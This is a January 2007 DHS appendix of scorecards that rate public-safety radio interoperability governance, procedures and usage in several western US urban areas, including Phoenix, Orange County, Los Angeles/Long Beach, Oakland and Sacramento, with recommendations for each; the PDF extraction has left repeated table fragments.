Regional SOPs, reviewed
through the TICP process,
are in place and regularly
used by included
agencies. NIMS procedures
are well established among
all agencies and
disciplines. All procedures
were effectively utilized
during exercise(s).
Existing regional SOPs were
reviewed and included in the
TICP, and are in use by
included agencies. NIMS-
compliant command and
control has been instituted by
all agencies and disciplines in
the region. Despite minor
issues, all SOPs were
successfully demonstrated
during exercise(s).
Some existing SOPs were
incorporated in the TICP and
steps have been taken to
institute these interoperability
procedures among included
agencies. Formal NIMS/ICS
procedures are in place, but
understanding varies among
agencies leading to some
issues during the exercise(s).
Region-wide SOPs were
developed and formalized for
the first time through the
TICP, but have not been
disseminated to all included
agencies. Some elements of
NIMS/ICS procedures for
command and control are in
place, but understanding
varies among agencies and
was an area of difficulty
during exercise(s).
Standard
Operating
Procedures
(SOP)
Decision making bodies
proactively look to expand
membership to ensure
representation from broader
public support disciplines and
other levels of government,
while updating their
agreements and strategic
plan on a regular basis.
Formal agreements outline the
roles and responsibilities of a
decision making group, which
has an agreed upon strategic
plan that addresses
sustainable funding
for collective,
regional interoperable
communications needs.
Some formal agreements
exist and informal
agreements are in practice
among members of a
decision making group;
regional strategic and budget
planning processes are
beginning to be put in place.
Decision making groups are
informal, and do not yet have
a strategic plan in place to
guide collective
communications
interoperability goals and
funding.
Governance
Advanced Implementation
Established Implementation
Intermediate Implementation
Early Implementation
Elements
First responders regularly
and seamlessly utilize
interoperability solutions.
The region demonstrated
successful multi-agency
communications during
exercise(s), including state,
federal and support
organizations.
First responders use
interoperability solutions
regularly and easily. The
region demonstrated
successful multi-agency (which
may have included state,
federal, and support
organizations) communications
during exercise(s).
First responders use
interoperability solutions
regularly and demonstrated
the ability to achieve multi-
agency communications
despite some challenges
during exercise(s).
Interoperable
communications solutions
are rarely used for multi-
agency communication and
difficulties were encountered
in achieving interoperability
during exercise(s).
Usage
Regional SOPs, reviewed
through the TICP process,
are in place and regularly
used by included
agencies. NIMS procedures
are well established among
all agencies and
disciplines. All procedures
were effectively utilized
during exercise(s).
Existing regional SOPs were
reviewed and included in the
TICP, and are in use by
included agencies. NIMS-
compliant command and
control has been instituted by
all agencies and disciplines in
the region. Despite minor
issues, all SOPs were
successfully demonstrated
during exercise(s).
Some existing SOPs were
incorporated in the TICP and
steps have been taken to
institute these interoperability
procedures among included
agencies. Formal NIMS/ICS
procedures are in place, but
understanding varies among
agencies leading to some
issues during the exercise(s).
Region-wide SOPs were
developed and formalized for
the first time through the
TICP, but have not been
disseminated to all included
agencies. Some elements of
NIMS/ICS procedures for
command and control are in
place, but understanding
varies among agencies and
was an area of difficulty
during exercise(s).
Standard
Operating
Procedures
(SOP)
Decision making bodies
proactively look to expand
membership to ensure
representation from broader
public support disciplines and
other levels of government,
while updating their
agreements and strategic
plan on a regular basis.
Formal agreements outline the
roles and responsibilities of a
decision making group, which
has an agreed upon strategic
plan that addresses
sustainable funding
for collective,
regional interoperable
communications needs.
Some formal agreements
exist and informal
agreements are in practice
among members of a
decision making group;
regional strategic and budget
planning processes are
beginning to be put in place.
Decision making groups are
informal, and do not yet have
a strategic plan in place to
guide collective
communications
interoperability goals and
funding.
Governance
Advanced Implementation
Established Implementation
Intermediate Implementation
Early Implementation
Elements
It should be noted that many of the urban areas have progressed in developing interoperable
communications capabilities past the point at which the information for the scorecards was
collected. DHS recognizes the ongoing work in each area and appreciates the participation that
areas had in providing feedback and comments to their scorecards. To the extent possible,
comments were incorporated into the scorecards included in this appendix.
10%5%
5%
5%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-2
January 2007
Tactical Interoperable Communications Scorecards
Phoenix, AZ
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Phoenix Urban Area (UA) includes the counties of Maricopa and Pinal and the major cities of Phoenix,
Mesa, Scottsdale, Glendale, Tempe, Chandler, Gilbert, and Peoria. Smaller communities included in the UA
are Goodyear, Fountain Hills, Litchfield Park, Anthem, Sun Lakes, Sun City, Sun City West, Surprise, and
Tolleson.
Governance: Intermediate Implementation
10%
10%15%
15%
The Phoenix UA is beginning to establish communications interoperability as a priority in the area as
demonstrated by the consideration for interoperability included in equipment procurement. The UA
established the Interoperability Subcommittee in April 2005 to support the development of the Tactical
Interoperable Communications Plan (TICP), as well as overall communications coordination. The formation
of this governance group represents a positive first step in formalizing attention to communications
interoperability issues. It was unclear whether a charter exists for the Interoperability Subcommittee,
although the group has voting rights, which indicates a level of formality. An oversight group formed as a
part of the Department of Justice (DoJ) 25 Cities project is planned to be folded into the Interoperability
Subcommittee to improve coordination and efficiency of governance groups since the two groups include
many of the same members. The regional agencies have some formal agreements (e.g., DoJ 25 Cities/high-
level agreements between Phoenix and Mesa), but indicated that overall the partnerships were informal in
nature. The continued development of documented agreements would support the formalization of these
partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and
decisions. Phoenix officials indicated that they had developed a strategic plan that included broad
representation from public support disciplines (e.g., public works, transportation, and 36 area hospitals). The
strategic plan is fully developed, but has not yet been fully adopted and accepted by participating agencies.
This strategy, as it gets adopted, can also support the prioritization of goals so that funding can be planned
accordingly. Currently, interoperable communications funding is provided primarily through federal grants
because there does not appear to be a specific regionwide plan for long-term interoperability funding. The
Phoenix Interoperability Subcommittee participates in the state’s communication planning group, which
could serve as a basis for further developing leadership relations across local and state agencies.
Recommendations:
•
Establish charters to encourage formal membership of decision-making group (including all first
responder agencies)
•
Continue to consolidate existing DoJ 25 Cities committee into the Urban Area Security Initiative
subcommittee
•
Document and formalize the necessary agreements (e.g., memoranda of understanding), including local,
state, federal, and tribal partnerships, to support partnerships on regional interoperability
•
Encourage full adoption and acceptance of the strategic plan by all participants and align local, state, and
tribal strategic planning efforts to ensure that regional interoperability needs are met
•
Encourage development of a regional interoperability funding strategy, including the identification of
long-term (e.g., 3 to 5 years) funding sources (in addition to grants)
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-3
January 2007
Tactical Interoperable Communications Scorecards
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to champion
communications interoperability across the area
•
Establish a direct line of communication for the Interoperability Subcommittee to advocate with political
and fiscal leaders at local and state levels
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Phoenix UA incorporated existing policies and procedures (e.g., 800 megahertz [MHz] shared system
SOPs and mutual aid channels SOPs as well as those developed as part of the DoJ 25 Cities Project) into the
TICP, providing a solid basis for implementing the SOPs across the area. These policies and procedures
have been actively disseminated since the TICP completion (e.g., distributed to all included organizations,
distributed at TICP Implementation Workshop). The UA has scheduled upcoming technician and
Communications Unit Leader (COML) training during which SOPs will be taught. The National Incident
Management System (NIMS)/Incident Command System (ICS) has been in place for less than 1 year, which
implies that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures. Despite
the short period of time in which NIMS/ICS procedures have been in place, with few exceptions (e.g.,
unified command designation was not formally communicated), they were successfully demonstrated during
the TICP validation exercise (e.g., two COMLs were identified and announced to all exercise participants).
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Phoenix shared system is used daily, and the UA tests its gateways three times each day to ensure
familiarity with their use. The TICP validation exercise successfully demonstrated the use of various types
of equipment (e.g., radio caches, gateways), and minor software glitches in the use of a mobile gateway were
quickly resolved. The UA’s use of a laminated card with a list of talk groups and radio operating instructions
is commendable, and should be considered a best practice. Despite these demonstrated successes, the TICP
validation exercise was limited to local, regional, and minimal state participants. Assessing the degree to
which the local agencies in the UA can easily use interoperable communications equipment with state and
federal agencies was therefore not possible. While the exercise met the stated requirements, the area is
encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future
tests.
Recommendations:
•
Involve private, state, federal, and tribal agencies in training and exercises
•
Consider adding communications interoperability as a component in all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Phoenix UA includes 800 MHz trunked systems and several very high frequency (VHF) conventional channels.
The Phoenix/Mesa system was one of the first trunked radio systems in the country to meet the Project 25 (P25)
standards. To provide interoperability between 800 MHz and VHF users, console patches and several mobile and fixed
gateways are available. Currently, the City of Glendale is exploring the possibility of migrating onto the area's P25
system.
Urban/Metropolitan Area
A-4
January 2007
Tactical Interoperable Communications Scorecards
Anaheim, CA
(Combined with Santa Ana, CA)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
FINThe newly combined Orange County Urban Area (UA) includes the core cities of Anaheim and Santa
Ana, 32 other Orange County cities, 2 state universities and the County of Orange.
Governance: Advanced Implementation
The Tactical Interoperable Communications Plan (TICP) was created under the authority of the Orange
County Operational Area; previously established committees (e.g., 800 megahertz [MHz] Governance
Committee, 800 MHz Technical Liaison Committee, Orange County Chiefs of Police and Sheriff’s
Association, Orange County Fire Chief’s Association) are responsible for key decisions and
recommendations relative to policy, training, exercises, compliance, establishment of special committees,
and operational issues within the UA. The governance structure developed by the Orange County UA can
serve as a model for other jurisdictions based on its breadth of local and state participation, frequency of
meetings and reviews, and ability to address near-term needs and long-term interoperability goals. As
documented in Section 2 of its TICP, there is a clear authority flow for interoperable communications
decisions, which is inclusive of all local first responder organizations. The UA has proactively included
multiple state and federal agencies in its interoperability solution through its Countywide Coordinated
Communication System; however, the extent of the governance group’s formal interaction with federal
agencies is not stated. Additionally, the Orange County UA has a regional interoperability strategic plan in
place that has been accepted by all participating agencies, is reviewed annually, and can address funding if
future interoperability enhancements are required.
Recommendations:
•
Continue to seek formalized participation from and coordination with state and federal agencies in
governance bodies
•
Continue to review and regularly update agreements (e.g., memoranda of understanding) to ensure
appropriate agency participation
•
Continue to identify long-term (e.g., 3 to 5 years) funding sources to support interoperable
communications
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The policies for use of the Orange County shared system are long established and were effectively
documented in Section 3 of the TICP. SOPs have been disseminated to all included agencies and dispatch
centers, and distributed through the TICP Implementation Workshop. The use of these system SOPs was
well demonstrated during the TICP validation exercise. The exercise did show the need for further
development of gateway SOPs. The UA indicated that it has been in the process of implementing the
National Incident Management System (NIMS)/Incident Command System (ICS) for less than one year,
which implies that the UA is in the earlier stages of implementing NIMS/ICS policies and procedures.
During the TICP validation exercise, participants demonstrated familiarity with NIMS/ICS processes (e.g.,
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-5
January 2007
Tactical Interoperable Communications Scorecards
established and clearly announced unified command, staging area designated and entry talk group
announced), but have not yet established full proficiency in these processes (e.g., no ICS Form 205 was
created, plain language not used). However, as stated in the post-exercise Improvement Plan, the UA is
actively pursuing improvements in the Communications Unit Leader functions pending further development
of the criteria for this position.
Recommendations:
•
Further develop SOPs for the use of gateways
•
Continue regularly exercising SOPs that test various scenario-based command and control procedures
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Orange County UA regularly conducts multi-agency responses using its shared system. The TICP
validation exercise participants were able to successfully establish interoperable communications (e.g.,
shared systems were used effectively, dispatch maintained fully interoperable communications with all first
responders). Despite demonstrated successes and although the TICP validation exercise met set standards,
broader state and federal agencies were not widely included. Assessing the degree to which the local
agencies in the UA can easily use interoperable communications equipment with state and federal agencies
was therefore limited. The UA is encouraged to build on its success by further integrating state, federal, and
support agencies in future tests. Further demonstrating fluency and familiarity with interoperable
communications solutions connecting local agencies with state and federal agencies would follow through on
the recommendation in the post-exercise Improvement Plan that states that “Now that excellence with intra-
county communications has been demonstrated, exercise and evaluate communications links with agencies
from state, federal, and outlying jurisdictions on other radio systems.”
Recommendations:
•
Consider expanding exercises to integrate state and federal entities
•
Continue to expand and/or document additional methods to interoperate with state and federal agencies
in the UA (e.g., Naval Weapons Station)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Anaheim and Santa Ana, California public safety communications are supported by the Orange County’s 800 MHz
mixed-mode trunked radio system. All public safety agencies in the Orange County UA have talk groups on this
system, which includes 81 channels with 400 talk groups and 16,000 radios. Given that the current radio system in
Orange County provides for the highest possible level of interoperability (shared system), the next step would be to
upgrade to a countywide Project 25 system.
Urban/Metropolitan Area
A-6
January 2007
Tactical Interoperable Communications Scorecards
Long Beach, CA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The Los Angeles (LA)/Long Beach (LB) Urban Area (UA) is a combination of two formerly separate
areas—the LA UA and LB UA. The newly combined UA includes the cities of Bellflower, Beverly Hills,
Carson, Compton, Culver City, Glendale, Hawaiian Gardens, Hawthorne, Inglewood, Lakewood, Long
Beach, Los Angeles, Monterey Park, Paramount, Pasadena, San Fernando, Santa Monica, Signal Hill, South
Pasadena, Torrance, Vernon, and West Hollywood, and portions of incorporated and unincorporated Los
Angeles County.
Governance: Established Implementation
15%
20%
20%
20%
Governance organizations for regional communications in the LA/LB UA have supported the
implementation of regional communications interoperability equipment and infrastructure in recent years.
The LA/LB UA Working Group developed the Tactical Interoperable Communications Plan (TICP) as one
of its first combined efforts. The LA/LB UA has demonstrated leadership through a history of successful
cooperation in building and funding shared communications systems and interoperability solutions across the
area. Published and active agreements in the LA/LB UA effectively facilitate communications
interoperability among all regional first responder agencies. Although the UA is not yet, in its entirety,
involved in strategic planning for communications interoperability goals, the UA leadership is actively
planning new solutions (e.g., Project 25 [P25] system) that will expand the interoperable communications
capabilities to other parts of the area. Despite the good cooperation in the area, jurisdictions perform
budgeting individually (with the exception of grants), and there is no specific regionwide plan for long-term
communications interoperability funding. There is also no single, well-established governance body or
decision-making group that actively seeks out input from all the LA/LB UA public safety organizations.
Recommendations:
•
Work to form one governance body that has formal authority over the newly formed combined UA,
which should include input beyond county and local first responder organizations. This governance
body should include state agencies, such as California Department of Transportation, California
Department of Forestry and Fire Protection, and the California Highway Patrol (CHP), other
transportation agencies, utilities, and appropriate federal agencies
•
Continue to document and adopt a regional strategic planning process beyond the operational focus of
the TICP
•
Continue to establish a regional interoperability funding strategy to include long-term (e.g., 3 to 5 years)
funding sources
Standard Operating Procedures (SOP): Advanced Implementation
The LA/LB UA TICP published and formalized existing policies and procedures for shared channels and
mutual aid that have been in place for a number of years, thereby providing a solid basis for implementing
the SOPs across the area. Los Angeles ratified its TICP with signatures from all the local municipal (city and
county) jurisdictions, and distributed the SOPs to all included agencies to demonstrate formal support for
15%
20%
20%
20%
Urban/Metropolitan Area
A-7
January 2007
Tactical Interoperable Communications Scorecards
their use. Through the TICP validation exercise, the LA/LB UA has demonstrated successful incorporation
of the SOPs, which are compliant with the National Incident Management System (NIMS), into first
responder practices and procedures. For example, during the TICP validation exercise, the incident
command structure was established and properly communicated to all participants. Additional steps, such as
including a procedure in the TICP for the proper designation and announcement of the Communications Unit
Leader during an incident, would support the continued implementation of NIMS/Incident Command System
(ICS).
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The LA/LB UA first responders regularly and successfully use multiple types of interoperability equipment
(e.g., shared channels, shared systems). While gateways are only needed on a monthly basis for real-world
use, LA/LB officials indicated that they are tested two times a week to ensure familiarity with their use. The
area showed proficiency in the use of all applicable equipment during their TICP exercise. For example,
shared marine channels and the Long Beach shared system were effectively used during the TICP validation
exercise and seven gateways were tested to show the extent of their capabilities. Additionally, state and
federal agencies were included in the exercise to demonstrate the breadth of user familiarity on
interoperability equipment across all levels of government.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The LA/LB UA is served by a number of radio systems operating in various public safety frequency bands. Systems
available include a countywide 800 megahertz system, an ultra high frequency (UHF) system operating in the public
safety UHF and UHF-Television bands, a very high frequency (VHF) high-band system, and a VHF low-band system.
The cities of Burbank, Culver City, and Glendale share a UHF, digital, Motorola SmartZone™ system, known as the
Interagency Communications Interoperability System. The City of Long Beach also operates shared VHF and UHF
systems for various departments within the city, including the Police, Fire, Public Works, and Health and Human
Services departments. In addition to these shared systems, interoperability is available through the use of shared
channels, radio caches, and gateways. The fixed gateway is located and managed at the Sheriff’s Communications
Center (SCC) in Los Angeles. The CHP and the City of Long Beach have console patching capabilities. Additionally,
there are nine mobile gateways available in the area. The LA Regional Tactical Communications System (LARTCS),
located at and managed by the SCC, is the major fixed gateway serving the area. LARTCS plans to design and procure
an expanded multiband mutual aid communications system that provides coverage throughout Los Angeles County,
including the surrounding national forests.
The Regional Interoperability Steering Committee is planning the construction of a shared P25 UHF trunked radio
system covering the UA. The implementation of a shared UHF P25-compliant system would allow the use of multiple
vendors.
Urban/Metropolitan Area
A-8
January 2007
Tactical Interoperable Communications Scorecards
Los Angeles, CA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The Los Angeles (LA)/Long Beach (LB) Urban Area (UA) is a combination of two formerly separate
areas—the LA UA and LB UA. The newly combined UA includes the cities of Bellflower, Beverly Hills,
Carson, Compton, Culver City, Glendale, Hawaiian Gardens, Hawthorne, Inglewood, Lakewood, Long
Beach, Los Angeles, Monterey Park, Paramount, Pasadena, San Fernando, Santa Monica, Signal Hill, South
Pasadena, Torrance, Vernon, and West Hollywood, and portions of incorporated and unincorporated Los
Angeles County.
Governance: Established Implementation
15%
20%
20%
20%
Governance organizations for regional communications in the LA/LB UA have supported the
implementation of regional communications interoperability equipment and infrastructure in recent years.
The LA/LB UA Working Group developed the Tactical Interoperable Communications Plan (TICP) as one
of its first combined efforts. The LA/LB UA has demonstrated leadership through a history of successful
cooperation in building and funding shared communications systems and interoperability solutions across the
area. Published and active agreements in the LA/LB UA effectively facilitate communications
interoperability among all regional first responder agencies. Although the UA is not yet, in its entirety,
involved in strategic planning for communications interoperability goals, the UA leadership is actively
planning new solutions (e.g., Project 25 [P25] system) that will expand the interoperable communications
capabilities to other parts of the area. Despite the good cooperation in the area, jurisdictions perform
budgeting individually (with the exception of grants), and there is no specific regionwide plan for long-term
communications interoperability funding. There is also no single, well-established governance body or
decision-making group that actively seeks out input from all the LA/LB UA public safety organizations.
Recommendations:
•
Work to form one governance body that has formal authority over the newly formed combined UA,
which should include input beyond county and local first responder organizations. This governance
body should include state agencies, such as California Department of Transportation, California
Department of Forestry and Fire Protection, and the California Highway Patrol (CHP), other
transportation agencies, utilities, and appropriate federal agencies
•
Continue to document and adopt a regional strategic planning process beyond the operational focus of
the TICP
•
Continue to establish a regional interoperability funding strategy to include long-term (e.g., 3 to 5 years)
funding sources
Standard Operating Procedures (SOP): Advanced Implementation
The LA/LB UA TICP published and formalized existing policies and procedures for shared channels and
mutual aid that have been in place for a number of years, thereby providing a solid basis for implementing
the SOPs across the area. Los Angeles ratified its TICP with signatures from all the local municipal (city and
county) jurisdictions, and distributed the SOPs to all included agencies to demonstrate formal support for
15%
20%
20%
20%
Urban/Metropolitan Area
A-9
January 2007
Tactical Interoperable Communications Scorecards
their use. Through the TICP validation exercise, the LA/LB UA has demonstrated successful incorporation
of the SOPs, which are compliant with the National Incident Management System (NIMS), into first
responder practices and procedures. For example, during the TICP validation exercise, the incident
command structure was established and properly communicated to all participants. Additional steps, such as
including a procedure in the TICP for the proper designation and announcement of the Communications Unit
Leader during an incident, would support the continued implementation of NIMS/Incident Command System
(ICS).
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The LA/LB UA first responders regularly and successfully use multiple types of interoperability equipment
(e.g., shared channels, shared systems). While gateways are only needed on a monthly basis for real-world
use, LA/LB officials indicated that they are tested two times a week to ensure familiarity with their use. The
area showed proficiency in the use of all applicable equipment during their TICP exercise. For example,
shared marine channels and the Long Beach shared system were effectively used during the TICP validation
exercise and seven gateways were tested to show the extent of their capabilities. Additionally, state and
federal agencies were included in the exercise to demonstrate the breadth of user familiarity on
interoperability equipment across all levels of government.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The LA/LB UA is served by a number of radio systems operating in various public safety frequency bands. Systems
available include a countywide 800 megahertz system, an ultra high frequency (UHF) system operating in the public
safety UHF and UHF-Television bands, a very high frequency (VHF) high-band system, and a VHF low-band system.
The cities of Burbank, Culver City, and Glendale share a UHF, digital, Motorola SmartZone™ system, known as the
Interagency Communications Interoperability System. The City of Long Beach also operates shared VHF and UHF
systems for various departments within the city, including the Police, Fire, Public Works, and Health and Human
Services departments. In addition to these shared systems, interoperability is available through the use of shared
channels, radio caches, and gateways. The fixed gateway is located and managed at the Sheriff’s Communications
Center (SCC) in Los Angeles. The CHP and the City of Long Beach have console patching capabilities. Additionally,
there are nine mobile gateways available in the area. The LA Regional Tactical Communications System (LARTCS),
located at and managed by the SCC, is the major fixed gateway serving the area. LARTCS plans to design and procure
an expanded multiband mutual aid communications system that provides coverage throughout Los Angeles County,
including the surrounding national forests.
The Regional Interoperability Steering Committee is planning the construction of a shared P25 UHF trunked radio
system covering the UA. The implementation of a shared UHF P25-compliant system would allow the use of multiple
vendors.
Urban/Metropolitan Area
A-10
January 2007
Tactical Interoperable Communications Scorecards
Oakland, CA
Tactical Interoperable Communications Scorecard
Summ
Summ
Summ
Summary
ary
ary
ary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The Oakland Urban Area (UA) includes the City of Oakland, Alameda County, and Contra Costa County.
Governance: Intermediate Implementation
10%
10%15%
15%
The Interoperable Communications Project Group (ICPG) began meeting in 2003 and oversaw the Tactical
Interoperable Communications Plan (TICP) development. As identified in the documentation, it does not
appear that the group is formalized, and as noted by TICP peer reviewers, the UA should further “explain
governing responsibilities and relation to the Urban Area Working Group (UAWG)” to clarify how the
organizations work together. The Oakland area has completed strategic planning efforts; however, a formal
plan has not yet been adopted by the included agencies. This strategy, as it gets adopted, can also support the
prioritization of goals so that funding can be planned accordingly. With most project funding supported
through annual federal grants, long-term funding was indicated by the UA as a concern. With respect to the
federal grants, it does appear that the agencies give consideration to regional interoperable communications
while procuring equipment. Although the local leadership is strong (demonstrated by involvement from
local mayors and other executives), there are regional leadership differences (across the multiple
jurisdictions) that may slow progress toward interoperability across the UA as a whole.
Recommendations:
•
Identify and document the roles, responsibilities, and relationships within the decision-making group
(e.g., ICPG membership, relationship to UAWG)
•
Continue to develop, document, and formalize agreements (e.g., signed memoranda of understanding
[MOU] with defined roles and responsibilities) among all participating agencies to support partnerships
on regional interoperability
•
Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP and store
them in an accessible format
•
Continue to establish a regular review process to ensure that agreements remain current and relevant
•
Adopt and implement the regional strategic plan
•
Continue to align regional and state strategic planning efforts to ensure that regional interoperability
needs are met
•
Continue to develop and implement a regional approach to budgeting and procuring regional
communications interoperability assets
•
Continue to develop and implement a regional approach to long-term (e.g., 3 to 5 years) sustainable
funding that is consistent with the strategic plan
•
Encourage broader involvement by senior government leadership on interoperability funding and
procurement plans
Standard Operating Procedures (SOP): Advanced Implementation
The Oakland TICP is based on existing policies and procedures. Since these SOPs were already well
established and used frequently, the public safety agencies in the UA were well positioned to adopt the TICP.
10%
10%15%
15%
Urban/Metropolitan Area
A-11
January 2007
Tactical Interoperable Communications Scorecards
The UA has taken a number of steps to disseminate and train on the SOPs among the participating
organizations. According to the Exercise Evaluation Guide, despite a minor issue with naming conventions
on shared channels, the UA was largely successful in the use of its documented procedures. National
Incident Management System (NIMS)/Incident Command System (ICS) has been used throughout the UA
for more than a year, with countywide training ongoing. This is consistent with a state mandate for NIMS
compliance. The exercise evaluation indicated that “members of the Unified Command staff worked
together very effectively.” The Communications Unit Leader was likewise praised for decisions in allocating
communications resources during the exercise.
Recommendations:
•
Consider scheduling a regular review and update process of developed policies and procedures
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The UA frequently uses its available means of interoperable communications (e.g., radio cache, gateways,
shared channels, and shared systems). Additionally, officials in the area report proficiency during real-world
events (e.g., football games) where radio caches and gateways are used to provide communications to local,
state, and federal agencies. During the TICP validation exercise, the participants were able to establish
interoperable communications despite some minimal technical difficulty (e.g., no roll call taken for gateways
and shared systems). The exercise was noteworthy for its complexity and the test it provided among local,
state, and federal agencies in the area.
Recommendation:
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of Oakland has two ACU-1000 gateways, and the County of Alameda has four deployable Infinimux G4
gateway devices. Currently, interoperability is achieved by using the gateways, shared proprietary radio systems, and
National Public Safety Planning Advisory Committee (NPSPAC) channels for mutual aid. The surrounding County of
Alameda has a Motorola, 800 megahertz, trunked, communications system. The adjacent County of Contra Costa and
several other adjacent localities field conventional very high frequency and ultra high frequency communications
systems.
The UA is planning for a new communications system that will be a shared, Project 25 (P25) standard radio system and
encompass the two-county area to create a regional communications system. Regional agencies will become part of the
shared P25 radio system and will be given subscriber units to use NPSPAC frequencies for mutual aid. In addition, a
networked gateway system will be installed to assure operable communications during the migration of the new P25
system; allowing a gateway to outside agencies that are not P25 capable.
Urban/Metropolitan Area
A-12
January 2007
Tactical Interoperable Communications Scorecards
Sacramento, CA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Sacramento Urban Area (UA) includes Sacramento County and the cities of Citrus Heights, Elk Grove,
Folsom, Rancho Cordova, Rocklin and Roseville (both located in Placer County), Sacramento, and West
Sacramento (both located in Yolo County).
Governance: Established Implementation
15%
20%
20%
20%
The Sacramento UA has two committees in place that coordinate interoperability issues; the Urban Area
Security Initiative (UASI) communications group is focused on governance, and the Sacramento Regional
Radio Communications System (SRRCS) committee is a technical group focused on the development and
oversight of the area’s shared system. SRRCS has been in place since 1992, and the group meets on a
weekly basis. Formalized contracts and memoranda of understanding (MOU) are in place for participating
local agencies, as well as selected state and federal agencies (e.g., Federal Bureau of Investigation, U.S.
Marshals Service, U.S. Coast Guard). Although a strategic planning process is in place, it is not clear
whether this long-standing process has developed a documented, formal, regional strategic plan. This
strategic planning process could provide a method to improve cooperation with California Highway Patrol
(CHP), California Statewide Interoperability Executive Committee, and other public safety organizations.
Local political leaders have provided policy and fiscal support, and funding is being provided based on
regional needs through grants as well as user fees.
Recommendations:
•
Encourage additional regional, state, and federal agency participation (e.g., CHP and California Division
of Forestry) to participate in the decision-making group
•
Continue to formalize agreements (e.g., MOUs) with needed participants, including additional state and
federal organizations
•
Continue to document and implement the regional strategic plan (beyond the operational focus of the
Tactical Interoperable Communications Plan [TICP]), with participant approval, adoption, and
acceptance
•
Continue to align local and statewide strategic planning efforts to ensure that regional interoperability
needs are met
•
Incorporate the regional interoperability funding strategy into the strategic plan, and consider funding
models that can leverage local, regional, and statewide strategic planning efforts
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Sacramento UA has had formal, region wide SOPs through its SRRCS structure, which has been in place
since 1996. The TICP is based on these previously developed policies and has been distributed to all
included agencies. Additional steps, such as storing applicable SOPs with radio caches and gateways, would
support the continued dissemination and implementation of these policies. Sacramento officials indicated
that there has been success in the regular use of these policies and procedures. However, officials also
indicated that interoperability training had been difficult to implement, and a more regular communications
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-13
January 2007
Tactical Interoperable Communications Scorecards
training program was desired. The Sacramento UA is in the process of implementing the National Incident
Management System (NIMS)/Incident Command System (ICS), and training was ongoing. As noted in the
After Action Report, while some gaps were identified in overall command and control (e.g., Incident
Commander did not initially incorporate the fire command within the unified command structure and did not
efficiently delegate responsibilities to appropriate responders), the certified Communications Unit Leader
showed proficiency during the TICP validation exercise.
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Sacramento UA primarily uses its 800 megahertz (MHz) shared system, as well as monthly use of the
Folsom gateway and periodic use of radio caches (primarily for planned events). In the TICP validation
exercise, the UA successfully used state mutual aid channels and tied these channels to the SRRCS shared
system using a gateway device. The Sacramento UA involved all first responders in the exercise and should
build up this success by further incorporating state, federal, and support agencies in its TICP and future
exercises. The addition of these outside agencies would facilitate improved cooperation and ensure that
implementing interoperability beyond the use of the SRRCS is regularly practiced. The Sacramento UA
seamlessly used its shared system, as recently demonstrated when public safety agencies responded to the
wounding of an officer who was conducting a traffic stop operation in a remote area.
Recommendations:
•
Continue to regularly test and exercise the deployment of regional communications interoperability
resources to improve proficiency and familiarity of use
•
Broaden state and federal agency involvement in training and exercises to facilitate interagency
cooperation
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
